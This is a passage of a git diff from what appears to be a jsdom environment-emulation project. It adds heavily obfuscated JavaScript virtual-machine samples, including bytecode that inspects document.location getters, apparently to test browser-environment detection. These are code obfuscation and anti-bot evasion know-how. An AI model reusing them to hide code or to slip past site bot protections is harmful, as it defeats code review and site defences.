_0x362063(_0x42de02) - _0xac0f88)[_0x53e80f[_0x2a48fc]](function (_0x1d4520) { + return _0x5803ee(_0x43825b, _0x1d4520); + }))))() : void 0; + } + + (_0x1a2c1b = 27) && (_0x52265b = 5) && (_0x33c57a = 10) && (_0x164511 = 30) && (_0x494546 = 17) && (_0x54ea64 = 31) && (_0x518ec6 = 8) && (_0x4ecad6 = 16) && (_0x4386e2 = 36) && (_0x4ae35e = 20) && (_0x9996b0 = 56) && (_0x51b94c = 39) && (_0x5b2928 = 9) && (_0x35bc29 = 19) && (_0x1527dc = 35) && (_0x3b901c = 38) && (_0x4a40ff = 12) && (_0x2a48fc = 40) && (_0x2f3264 = 49) && (_0x2b5656 = 2) && (_0x9cf0c1 = 62) && (_0x1b8336 = 46) && (_0x3336e8 = 24) && (_0x1dcf2e = 47) && (_0xac0f88 = 1) && !(_0x4510ad = 0) && (_0x825d02 = 29) && (_0xd78518 = 28) && (_0x42c862 = 3) && (_0x47d391 = 26) && (_0x314f96 = 22) && (_0x41ba31 = 11) && (_0x3a971 = 25) && (_0x372908 = 34) && (_0x39c222 = 32) && (_0x4cade0 = 14) && (_0x1b6e77 = 6) && (_0x302e6d = 37) && (_0x323b0a = 41) && (_0x27828b = 43) && (_0x5d7027 = 33) && (_0x29786b = 123) && (_0x1b8b7e = 55) && (_0x4e2c9a = 4) && (_0xcfb95f = 73) && (_0x56d095 = 66) && (_0x115cb8 = 63) && (_0x419697 = 52) && (_0x4e1a0c = 58) && (_0x19f49e = 21) && (_0x28a6d4 = 51) && (_0x51a541 = 15) && (_0x2512ce = 7) && (_0x36991f = 78) && (_0x429145 = 70) && (_0xa630e3 = 53) && (_0x49a2c8 = 68) && (_0x3fd505 = 64) && (_0x19c148 = 44) && (_0x1b4a42 = 77) && (_0x2be633 = 69) && (_0x438fdd = 13) && (_0x3aed8d = 61) && (_0xf2e54c = 65) && (_0x1589af = 50) && (_0x2e7acb = 127) && (_0x5b19f4 = 76) && (_0x366221 = 71) && (_0x182b61 = 18) && (_0x5e95a3 = 91) && (_0x9d883 = 45) && (_0x382df6 = 67) && (_0x355cbd = 59) && (_0x142b20 = 79) && (_0xb163b8 = 54) && (_0x201a59 = 74) && (_0x50ccd7 = 23) && (_0x4e457a = 42) && (_0x541c3b = 57) && (_0x34ae58 = 48) && (_0x3768b4 = 97) && (_0x329709 = 72) && (_0x17b6b2 = 60) && (_0x53e80f = "ReferenceError(g(c(call([(lastIndexOf(push(pop(toString(number(valueOf(indexOf(window(module(arguments(cilame_call(charCodeAt(concat(exports(pow(match([0-9a-f]{2}(Date(Math(hasOwnProperty(bind(slice(defineProperty(BigInt(parseFloat(Object(filter(v(configurable(String(keys(length(apply(%$&(vmpzl_arguments(map((]( is not defined(join(get(prototype(undefined(enumerable(replace(null(_(set(decodeURIComponent(object(charAt(0(parseInt(RegExp(Function(fromCharCode(*(require($"["split"]("(")) && (_0x33d73e = typeof global == _0x53e80f[_0x1dcf2e] ? window : global) && (_0x31b224 = new _0x33d73e[_0x53e80f[_0x314f96]]()) && (_0x362063 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x2be633)) && (_0x3f092f = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x3a971)) && (_0x3e8c34 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x3b901c)) && (_0x598365 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x142b20)) && (_0x2b094d = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x355cbd)) && (_0x587399 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x1589af)) && (_0x24906f = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x115cb8)) && (_0x421350 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x41ba31)) && (_0x25454f = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0xa630e3)) && (_0x49c310 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x52265b)) && (_0x2707a3 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x419697)) && (_0x7bccb4 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x1dcf2e)) && (_0x91d4f1 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x3fd505)) && (_0x5ddd7b = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x3aed8d)) && (_0x32ee85 = _0x3ed55e[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x429145)) && (_0x260831 = _0x33d73e[_0x53e80f[_0x355cbd]]) && (_0xc632b9 = _0x33d73e[_0x53e80f[_0x372908]][_0x53e80f[_0x17b6b2]]) && (_0x2e98e8 = _0x33d73e[_0x53e80f[_0xa630e3]]) && (_0x42f6ed = _0x33d73e[_0x53e80f[_0x4510ad]]) && (_0x5164d4 = _0x33d73e[_0x53e80f[_0x164511]][_0x53e80f[_0x1527dc]]) && (_0x170fa3 = _0x33d73e[_0x53e80f[_0x825d02]]) && (_0x5bdd89 = _0x33d73e[_0x53e80f[_0x541c3b]]) && (_0x3ebfbb = _0x33d73e[_0x53e80f[_0x50ccd7]][_0x53e80f[_0x35bc29]]) && (_0x3d5a9b = _0x33d73e[_0x53e80f[_0x4e1a0c]]) && (_0x260831[_0x53e80f[_0x1b8336]][_0x53e80f[_0x51a541]] = _0x260831[_0x53e80f[_0x1b8336]][_0x53e80f[_0x42c862]]) && (_0x75888d = _0x33d73e[_0x53e80f[_0x164511]][_0x53e80f[_0x1b8336]][_0x53e80f[_0x3336e8]]) && (_0x4a1f70 = _0xac0f88) && (_0x599d86 = _0xac0f88) && (_0x64a135 = []) && (_0x2c4c2d = []) && ((_0xa2cb7d = _0x33d73e[_0x53e80f[_0xd78518]]) || _0xac0f88) && (_0x13f87d = _0x3fae15[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x36991f)) && (_0x1e3aa5 = _0x3fae15[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x4ae35e)) && (_0x29142d = _0x3fae15[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x51a541)) && (_0x37b4a4 = _0x3fae15[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x39c222)) && (_0x380911 = _0x3fae15[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x47d391)) && (_0x1bfbba = _0x3fae15[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x56d095)) && (_0xa13bd3 = _0x3fae15[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224, _0x19c148)) && (_0x5803ee = _0x5803ee[_0x53e80f[_0x3a971]](_0xac0f88, _0x31b224)) && (_0x21a6ff = _0x13f87d(_0x29786b, _0x2e7acb) + _0x13f87d(_0x1527dc, _0x51b94c) + _0x13f87d(_0x2a48fc, _0x5e95a3) + _0x13f87d(_0x3768b4, _0x29786b)) && (_0x39ff5e = _0x13f87d(_0x2a48fc, _0x5e95a3)) && (_0x21c30d = _0x13f87d(_0x29786b, _0x2e7acb) + _0x13f87d(_0x1527dc, _0x51b94c) + _0x13f87d(_0x3768b4, _0x29786b)) && (_0x5cc54f = _0x53e80f[_0x4e2c9a] + _0x21c30d + _0x53e80f[_0x4e457a] + _0x53e80f[_0x3aed8d] + _0x53e80f[_0x4e2c9a] + _0x39ff5e + _0x53e80f[_0x4e457a]) && (_0x3a1804 = _0x3d5a9b(_0x53e80f[_0x19f49e], _0x53e80f[_0xac0f88])) && (_0x574943 = [[_0x33d73e, null, null, _0x3651eb, _0x1f45ad, _0x4510ad, _0x4510ad, arguments, {}, _0x31b224]]) && (_0x42ecee = _0x574943[_0x4510ad][_0x518ec6]) && _0x5803ee(_0x574943, function _0x5e6af5(_0x56d787, _0x1be371, _0xb972e4) { + return function (_0x2e66ff, _0x34979a, _0x5ba09c, _0xcae0d8, _0x4bf7ed, _0x9d6de9, _0x1c67ae, _0x43ae5e, _0x1392a3, _0xa16def) { + if (_0x5ba09c == _0x5b2928 || _0x5ba09c == _0x27828b || _0x5ba09c == _0x2512ce || _0x5ba09c == _0x1589af || _0x5ba09c == _0x4cade0 || _0x5ba09c == _0x4386e2 || _0x5ba09c == _0x4510ad || _0x5ba09c == _0x438fdd) { + return (_0xcae0d8 = {}) && ((_0xcae0d8[_0x53e80f[_0x2b5656]] = _0x5ba09c) || _0xac0f88) && (_0x4bf7ed = function (_0x5a0fa9, _0x2f645f, _0x38a2fc) { + return (_0x38a2fc = _0x29142d(_0x2f645f)) && [_0x32ee85(_0x64a135[_0x38a2fc[_0x4510ad]], _0x38a2fc[_0x4510ad], _0x5a0fa9), _0x38a2fc[_0x4510ad], _0x38a2fc[_0xac0f88]]; + }(_0x5ba09c, _0x34979a[_0x53e80f[_0x47d391]](_0x4a1f70, _0x33c57a))) && ((_0xcae0d8[_0x5ba09c] = _0x4bf7ed[_0x4510ad]) || _0xac0f88) && [function (_0x4bbfcc, _0x166a54, _0x5cd01f, _0x40da72) { + return ((_0x40da72 = _0x2c4c2d[_0x53e80f[_0x41ba31]](_0x4bbfcc[_0x166a54])) || _0xac0f88) && ((_0x40da72 == -_0xac0f88 ? _0x2c4c2d[_0x53e80f[_0x1b6e77]](_0x4bbfcc[_0x166a54]) && (_0x4bbfcc[_0x166a54] = _0x362063(_0x2c4c2d) - _0xac0f88) : _0x4bbfcc[_0x166a54] = _0x40da72) || _0xac0f88) && ((_0x4bbfcc[_0x53e80f[_0x39c222]] = _0x5cd01f) || _0xac0f88) && _0x4bbfcc; + }(_0xcae0d8, _0x5ba09c, _0x4bf7ed[_0xac0f88]), _0x4bf7ed[_0x2b5656]]; + } + + for ((_0x1c67ae = []) && (_0xcae0d8 = {}) && (_0x9d6de9 = _0x3e8c34(_0x34979a, _0x4a1f70)[_0x4510ad]); _0x362063(_0x9d6de9);) { + (_0x43ae5e = _0x21a6ff[_0x53e80f[_0x41ba31]](_0x9d6de9[_0x53e80f[_0x47d391]](_0x4510ad, _0x4a1f70))) != _0x5b2928 && _0x43ae5e != _0x27828b && _0x43ae5e != _0x2512ce && _0x43ae5e != _0x1589af && _0x43ae5e != _0x4cade0 && _0x43ae5e != _0x4386e2 && _0x43ae5e != _0x4510ad && _0x43ae5e != _0x438fdd ? (_0xa16def = _0x3e8c34(_0x9d6de9, _0x4a1f70, _0xac0f88)) && _0x1c67ae[_0x53e80f[_0x1b6e77]](_0x5e6af5(_0x2e66ff, _0x9d6de9)) && (_0x9d6de9 = _0x9d6de9[_0x53e80f[_0x47d391]](_0xa16def[_0xac0f88])) : (_0x1392a3 = _0x5e6af5(_0x2e66ff, _0x9d6de9)) && _0x1c67ae[_0x53e80f[_0x1b6e77]](_0x1392a3[_0x4510ad]) && (_0x9d6de9 = _0x9d6de9[_0x53e80f[_0x47d391]](_0x4a1f70 + _0x1392a3[_0xac0f88])); + } + + return (_0xcae0d8[_0x5ba09c] = _0x1c67ae) && ((_0xcae0d8[_0x53e80f[_0x2b5656]] = _0x5ba09c) || _0xac0f88) && _0xcae0d8; + }(_0x56d787, _0x1be371, _0x21a6ff[_0x53e80f[_0x41ba31]](_0x1be371[_0x53e80f[_0x47d391]](_0x4510ad, _0x4a1f70))); + }(_0x31b224, _0xa13bd3(_0x460792))); + }("jsvmpzl:ver.1.5.1", this, typeof arguments != "undefined" ? arguments : void 0, [], "&;b8#hh}n@uohyyT$jg%cM#h~zy<$llkuRyzs}zK#|fgv>rhu~kArnewvZsxjpv6an$roS|gefgjZzfea%T|l}zh}P|gyb{c5|%w$}o4vhbme>z|vbg(|sxrw&Rxza{m*nkl{d)|nik}eF|bmq{j;rdttzXz~huh=||yjsuQqol}~1ux#&dpzvmc(vtoun5xeosqDa%ju|Weos{xJ|ovovt+#|m$pXspthg-wtcrj6|gy#gh>rb$ssQzcayqD|p{}qr:|%{xq%R|easoyB|orjc%;|{~ewqBvs}%d5c&trmU|azfgb3o&qid:pQ<%XE%U#%0.K/K0)(K+)(K1)(R?#09.B,R*K2K)QZ?L),0F0@6:0.K-K.)(R@0.K/K0)(K+)(K1)(RA#09.B,R*K2K)T462RB0.K3K4)(;:K5#6T462RC0.K3K4)(K)"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/demo3.js b/env_xbb_lastest_jsdom/knowledge/检测/demo3.js new file mode 100644 index 00000000..a60d8f4a --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/demo3.js @@ -0,0 +1,46 @@ +(function n(i, r, t, e, l, a, f, u) { + var c, o, h, s, p, g, m, y, d, v, w, b, C, F, j, S, k, q, x, z, A, B, D, E, G, H, I, J, K, L, M, N, O, P, Q, R, T, + U, V; + if (this.constructor != n) { + if (e || ((e = [this]).n = e[0], e.t = [], (o = {}).s = !1, o.v = !1, e.t.push(o), n.r = n.g = n), h = e[e.length - 1], -3 == t || -2 == t) { + if (-2 == t) { + for (a = 0, f = 0; i[r] > 127;) f += i[r++] - 128 << 7 * a++; + f += i[r++] << 7 * a + } else f = (r = (s = n(i, r, -2)).i) + (a = s.n) - 1, r += a; + return {n: f, i: r} + } + if (l === n) { + for (p = new n.g, g = [].slice.call(u), m = 0; m < a.length; m++) p[a[m]] = g[m]; + return p.arguments = u, (y = [].concat(e).concat(p)).n = f, y.t = [], n(i, r, t, y) + } + if (d = r || 0, c = t || i.length, v = i[d++], s = n(i, d, -2), d = s.i, s.n, w = 0, 6 == v || 10 == v ? w = 1 : 30 == v ? w = 2 : 29 == v && (w = 3), 6 == v || 10 == v || 30 == v || 29 == v) { + for (o = e.t && e.t[e.t.length - 1], b = []; d < c;) { + if (C = d++, s = n(i, d, -3), d = s.i, F = s.n, b.push(n(i, C, F, e)), 3 != w && e.a) return b[b.length - 1]; + if (2 == w && o && (o.v || o.s)) return b[b.length - 1] + } + if (2 != w) return b + } + if (25 == v) { + if (j = n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e), g = n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e), n.bind) return new (n.bind.apply(j, [null].concat(g))); + for (S = [], m = 0; m < g.length; m++) S[m] = "a[" + m + "]"; + return n.constructor("F,a", "return new F(" + S.join(",") + ")")(j, g) + } + if (80 != v) { + if (125 == v) throw n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e); + if (18 == v || 113 == v) { + for (I = i[d++], s = n(i, d, -2), d = s.i, J = s.n, K = [], m = 0; m < J; m++) s = n(i, d, -2), d = s.i, L = s.n, K.push(L); + return M = String.fromCharCode.apply(null, K), 113 == v || e.m ? M : l ? [e[I], M] : e[I][M] + } + return 0 == v ? (e.m = !0, N = n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e), e.m = !1, h[N] = e.u, n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e)) : 67 == v ? (91 == i[d++] && (O = i[d++]), O) : 34 == v ? a != f : 89 == v ? n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e) : 58 == v ? null : 57 == v ? n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e, 0, n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e), n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e)) : 78 == v ? (P = n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e), Q = n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e), e.m = !P, R = n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e), e.m = !1, l ? [Q, R] : Q[R]) : 88 == v ? n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e) ? n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e) : (s = n(i, ++d, -3), d = s.i, s.n, n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e)) : 95 == v ? (T = n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e, !0), U = n(i, d++, (s = n(i, d, -3), d = s.i, s.n), e), T instanceof n.constructor ? n.apply.call(T, e[0].n, U) : (V = T[0][T[1]], T[0] instanceof n.g ? n.apply.call(V, e.n, U) : n.apply.call(V, T[0], U))) : void 0 + } + k = d++, s = n(i, d, -3), d = s.i, q = s.n, x = d++, s = n(i, d, -3), d = s.i, z = s.n, A = d++, s = n(i, d, -3), d = s.i, B = s.n; + try { + if (D = n(i, k, q, e), e.a) return D + } catch (W) { + if (e.u = W, E = n(i, x, z, e), e.a) return E + } finally { + if (G = e.a, e.a = !1, H = n(i, A, B, e), e.a) return H; + e.a = G + } + } +})([6, 198, 8, 10, 195, 8, 80, 192, 8, 30, 252, 7, 30, 249, 7, 88, 154, 1, 57, 127, 34, 0, 78, 111, 67, 2, 91, 0, 78, 97, 67, 2, 91, 0, 95, 84, 78, 42, 67, 2, 91, 0, 18, 8, 0, 6, 79, 98, 106, 101, 99, 116, 18, 26, 0, 24, 103, 101, 116, 79, 119, 110, 80, 114, 111, 112, 101, 114, 116, 121, 68, 101, 115, 99, 114, 105, 112, 116, 111, 114, 29, 38, 78, 28, 67, 2, 91, 0, 18, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 18, 10, 0, 8, 108, 111, 99, 97, 116, 105, 111, 110, 113, 6, 0, 4, 104, 114, 101, 102, 18, 5, 0, 3, 103, 101, 116, 18, 6, 0, 4, 110, 97, 109, 101, 113, 10, 0, 8, 103, 101, 116, 32, 104, 114, 101, 102, 30, 21, 30, 19, 125, 17, 25, 15, 18, 7, 0, 5, 69, 114, 114, 111, 114, 29, 4, 113, 2, 0, 0, 58, 0, 88, 154, 1, 57, 127, 34, 0, 78, 111, 67, 2, 91, 0, 78, 97, 67, 2, 91, 0, 95, 84, 78, 42, 67, 2, 91, 0, 18, 8, 0, 6, 79, 98, 106, 101, 99, 116, 18, 26, 0, 24, 103, 101, 116, 79, 119, 110, 80, 114, 111, 112, 101, 114, 116, 121, 68, 101, 115, 99, 114, 105, 112, 116, 111, 114, 29, 38, 78, 28, 67, 2, 91, 0, 18, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 18, 10, 0, 8, 108, 111, 99, 97, 116, 105, 111, 110, 113, 6, 0, 4, 104, 97, 115, 104, 18, 5, 0, 3, 103, 101, 116, 18, 6, 0, 4, 110, 97, 109, 101, 113, 10, 0, 8, 103, 101, 116, 32, 104, 97, 115, 104, 30, 21, 30, 19, 125, 17, 25, 15, 18, 7, 0, 5, 69, 114, 114, 111, 114, 29, 4, 113, 2, 0, 0, 58, 0, 88, 154, 1, 57, 127, 34, 0, 78, 111, 67, 2, 91, 0, 78, 97, 67, 2, 91, 0, 95, 84, 78, 42, 67, 2, 91, 0, 18, 8, 0, 6, 79, 98, 106, 101, 99, 116, 18, 26, 0, 24, 103, 101, 116, 79, 119, 110, 80, 114, 111, 112, 101, 114, 116, 121, 68, 101, 115, 99, 114, 105, 112, 116, 111, 114, 29, 38, 78, 28, 67, 2, 91, 0, 18, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 18, 10, 0, 8, 108, 111, 99, 97, 116, 105, 111, 110, 113, 6, 0, 4, 104, 111, 115, 116, 18, 5, 0, 3, 103, 101, 116, 18, 6, 0, 4, 110, 97, 109, 101, 113, 10, 0, 8, 103, 101, 116, 32, 104, 111, 115, 116, 30, 21, 30, 19, 125, 17, 25, 15, 18, 7, 0, 5, 69, 114, 114, 111, 114, 29, 4, 113, 2, 0, 0, 58, 0, 88, 163, 1, 57, 135, 1, 34, 0, 78, 115, 67, 2, 91, 0, 78, 101, 67, 2, 91, 0, 95, 88, 78, 42, 67, 2, 91, 0, 18, 8, 0, 6, 79, 98, 106, 101, 99, 116, 18, 26, 0, 24, 103, 101, 116, 79, 119, 110, 80, 114, 111, 112, 101, 114, 116, 121, 68, 101, 115, 99, 114, 105, 112, 116, 111, 114, 29, 42, 78, 28, 67, 2, 91, 0, 18, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 18, 10, 0, 8, 108, 111, 99, 97, 116, 105, 111, 110, 113, 10, 0, 8, 112, 114, 111, 116, 111, 99, 111, 108, 18, 5, 0, 3, 103, 101, 116, 18, 6, 0, 4, 110, 97, 109, 101, 113, 14, 0, 12, 103, 101, 116, 32, 112, 114, 111, 116, 111, 99, 111, 108, 30, 21, 30, 19, 125, 17, 25, 15, 18, 7, 0, 5, 69, 114, 114, 111, 114, 29, 4, 113, 2, 0, 0, 58, 0, 88, 159, 1, 57, 131, 1, 34, 0, 78, 113, 67, 2, 91, 0, 78, 99, 67, 2, 91, 0, 95, 86, 78, 42, 67, 2, 91, 0, 18, 8, 0, 6, 79, 98, 106, 101, 99, 116, 18, 26, 0, 24, 103, 101, 116, 79, 119, 110, 80, 114, 111, 112, 101, 114, 116, 121, 68, 101, 115, 99, 114, 105, 112, 116, 111, 114, 29, 40, 78, 28, 67, 2, 91, 0, 18, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 18, 10, 0, 8, 108, 111, 99, 97, 116, 105, 111, 110, 113, 8, 0, 6, 111, 114, 105, 103, 105, 110, 18, 5, 0, 3, 103, 101, 116, 18, 6, 0, 4, 110, 97, 109, 101, 113, 12, 0, 10, 103, 101, 116, 32, 111, 114, 105, 103, 105, 110, 30, 21, 30, 19, 125, 17, 25, 15, 18, 7, 0, 5, 69, 114, 114, 111, 114, 29, 4, 113, 2, 0, 0, 58, 0, 88, 163, 1, 57, 135, 1, 34, 0, 78, 115, 67, 2, 91, 0, 78, 101, 67, 2, 91, 0, 95, 88, 78, 42, 67, 2, 91, 0, 18, 8, 0, 6, 79, 98, 106, 101, 99, 116, 18, 26, 0, 24, 103, 101, 116, 79, 119, 110, 80, 114, 111, 112, 101, 114, 116, 121, 68, 101, 115, 99, 114, 105, 112, 116, 111, 114, 29, 42, 78, 28, 67, 2, 91, 0, 18, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 18, 10, 0, 8, 108, 111, 99, 97, 116, 105, 111, 110, 113, 10, 0, 8, 104, 111, 115, 116, 110, 97, 109, 101, 18, 5, 0, 3, 103, 101, 116, 18, 6, 0, 4, 110, 97, 109, 101, 113, 14, 0, 12, 103, 101, 116, 32, 104, 111, 115, 116, 110, 97, 109, 101, 30, 21, 30, 19, 125, 17, 25, 15, 18, 7, 0, 5, 69, 114, 114, 111, 114, 29, 4, 113, 2, 0, 0, 58, 0, 89, 50, 95, 48, 78, 22, 67, 2, 91, 0, 18, 9, 0, 7, 99, 111, 110, 115, 111, 108, 101, 18, 5, 0, 3, 108, 111, 103, 29, 22, 113, 20, 0, 6, 175, 231, 1, 131, 177, 1, 161, 208, 1, 140, 181, 2, 144, 196, 1, 159, 165, 1, 0, 61, 18, 3, 0, 1, 101, 30, 54, 30, 52, 89, 50, 95, 48, 78, 22, 67, 2, 91, 0, 18, 9, 0, 7, 99, 111, 110, 115, 111, 108, 101, 18, 5, 0, 3, 108, 111, 103, 29, 22, 113, 20, 0, 6, 175, 231, 1, 131, 177, 1, 161, 208, 1, 140, 181, 2, 177, 178, 1, 165, 154, 2, 58, 0]); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/demo4.js b/env_xbb_lastest_jsdom/knowledge/检测/demo4.js new file mode 100644 index 00000000..4609b6aa --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/demo4.js @@ -0,0 +1,4 @@ +!function(n,e,t,r,u,i,f,o,c,d,l,a,p,s,m,g,y,h,b,v,w,k,x,O,_,j,C,I,q,R,z,A,E,F,P,S,$,B,D,M,U,G,H,J,K,L,N,Q,T,V,W,X,Y,Z,nn,en,tn,rn,un,fn,on,cn,dn,ln,an,pn,sn,mn,gn,yn,hn,bn,vn,wn,kn,xn,On,_n,jn,Cn,In,qn,Rn,zn,An,En,Fn,Pn,Sn,$n,Bn,Dn,Mn,Un,Gn,Hn,Jn,Kn,Ln,Nn,Qn,Tn,Vn,Wn,Xn,Yn,Zn,ne,ee,te,re,ue,ie,fe,oe,ce,de,le,ae,pe,se,me,ge,ye,he,be,ve,we,ke,xe,Oe,_e,je,Ce,Ie,qe,Re,ze,Ae,Ee,Fe,Pe,Se){function $e(n,e,t,r,i,f,d,s,h,v){return e==oe?(r?t[Mn][nn[dn]]()||t[ge][nn[dn]]():t[Mn][nn[cn]](en)||t[ge][nn[cn]](en))&&undefined:e==ae?(t={})&&(t[Mn]=[])&&(t[ge]=[])&&((t[Rn]=en)||tn)&&t:e==sn?t?r[R(r)-tn]:r[R(r)-tn]=i:e==ee?A(r,Yn)?E(r,Yn):A(r,yn)?E(r,yn):i?K(t,r):E(r,Ln):e==on?((i={})[nn[Zn]]=t)&&i:e==he?t[nn[Dn]]:e==In?!(i=b[t[r]])||r!=Yn&&r!=Ln?i:t[nn[ae]]?j[t[nn[ae]]]:((t[nn[ae]]=t[nn[rn]]+nn[ae]+(t[nn[Pn]]^On))||tn)&&((j[t[nn[ae]]]=F(rn,F(tn,i),t[nn[Pn]]&ze))||tn)&&j[t[nn[ae]]]:e==Un?(f=P(r?t[nn[qn]](r):t))&&[i?null:t[nn[qn]](r+f[tn],r+f[en]+f[tn]),r+f[en]+f[tn]]:e==zn?(I+=tn)&&u:e==Ce?i&&r!=nn[Cn]?q[nn[hn]](t,r):r in t:e==ne?((A(t,Ln)?Z[en][E(t,Ln)]=Z[fn][r]:A(t,An)?Z[en][E(E(t[An],Ln),Ln)]=l(Z[fn])[nn[Hn]](Q)[nn[qn]](r):tn)||tn)&&undefined:e==Vn?Z[fn][t]:e==de?t==tn?F(tn,X(un,r))[en]^i&ze:t==rn?F(rn,F(tn,X(un,r)),i&ze):t==un?c(r[nn[Xn]](O,nn[Un])):undefined:e==be?i==an?X(tn,t,r):i==Ln?X(un,t):i==dn?null:i==Yn?X(un,t):i==yn?a(X(rn,t,r)):i==Dn?!!p(o(X(tn,t,r))):i==en?g(X(rn,t,r)):i==gn?((f=X(rn,t,r))||tn)&&m(f[nn[qn]](en,f[nn[on]](nn[ae])),f[nn[qn]](f[nn[on]](nn[ae])+tn)):en:e==_e?y++&&I++:e==pe?(v=[][nn[vn]](t,[Z=[{},f,i,d,s]]))&&(r!==nn[Yn]?Z[en][r]=h:tn)&&Z[tn][nn[Hn]](N)&&!(n-y)&&K(v,Z[rn],U()):function w(){return T(t,r,i,f,this,arguments,w)}}function Be(n,e,t,r,u,i,f,c,l,a){for(e==qn?i=R(t)-tn:e==Pn?!(f=en)&&(i=R(t)-tn):e==je?(u=nn[Jn])||(i=t):e==hn?!(r=en)&&!(c=en)&&(u=t[nn[xn]](x)[en])&&((i=u[nn[qn]](en,-tn))||tn)&&(f=u[nn[re]](R(u)-tn))&&((r+=w[nn[sn]](f))||tn)&&(l=R(i)-tn):e==xn?(i=[])&&(f=en):e==me?(t=t[nn[xn]](m(x,nn[tn])))&&(r=t[nn[qn]](tn,-tn))&&(u=[])&&r[nn[Hn]](function(n){for(((i=P(n)[en][nn[ln]](bn))||tn)&&!(c=en)&&(f=ln-R(i));c=en:e==je?i=en:e==xn?f>=r:B(n,t,$(n,t)>>r):e==En?i?f[o]>>>=r:B(n,t,$(n,t)>>>r):e==an?i?f[o]&=r:B(n,t,$(n,t)&r):e==Xn?i?f[o]|=r:B(n,t,$(n,t)|r):e==tn?i?f[o]^=r:B(n,t,$(n,t)^r):e==yn?i?f[o]=s(f[o],r):B(n,t,s($(n,t),r)):undefined)})&&(A(g,Jn)?(m=K(e,a[rn]))[Jn][nn[Hn]](function(n,t){return h(e,b,n,m[t])}):h(e,b,g,a[rn],tn)):l==jn?K(e,a[en]):l==Wn?function(n,t,r,u,i){for((n=[])&&!(t=en)&&(u=en);tO:b==Qn?v>=O:b==_n?v in O:b==ue?v&O:b==pn?v!=O:b==On?v!==O:b==Fn?v|O:b==vn?v^O:b==Sn?v==O:b==Jn?v===O:b==rn?v<>O:b==Tn?v>>>O:b==te?v instanceof O:undefined):l==kn?(u&&(u[Rn]=tn),G(tn,a[nn[Hn]](function(n){return K(e,n)}))):l==mn?((C={})&&a[nn[Hn]](function(n){(w=K(e,n))&&((I=w[en])||tn)&&((q=w[tn])||tn)&&(w[rn]?(k={})&&(k[nn[Wn]]=!0)&&(k[nn[Sn]]=!0)&&w[rn]==tn?((k[nn[Qn]]=q)||tn)&&i[nn[En]][nn[Rn]](C,I,k):w[rn]==rn&&((k[nn[ne]]=q)||tn)&&i[nn[En]][nn[Rn]](C,I,k):C[I]=q)}),C):l==Bn?[H(e,a[en],K(e,G(tn,a))==xe),K(e,a[tn])]:l==Cn?(((x=K(e,G(tn,a)))==An?O=tn:x==jn&&(O=rn))||tn)&&(a=a[nn[qn]](en,-tn))&&((_=K(e,G(tn,a))==xe)||tn)&&(a=a[nn[qn]](en,-tn))&&((I=H(e,G(tn,a),_))||tn)&&((q=a[R(a)-rn])||tn)&&((j=a[nn[qn]](en,R(a)-rn))||tn)&&((F=J(M(e,I,q,j),I)[nn[Zn]])||tn)&&[I,F,O]:l==cn?G(tn,a[nn[Hn]](function(n){return K(e,n)})):l==Xn?((C=K(e,a[en])?K(e,a[tn],u):K(e,a[rn],u))||tn)&&u[Rn]?C:undefined:l==vn?function(n,e,t,r,u,i){return 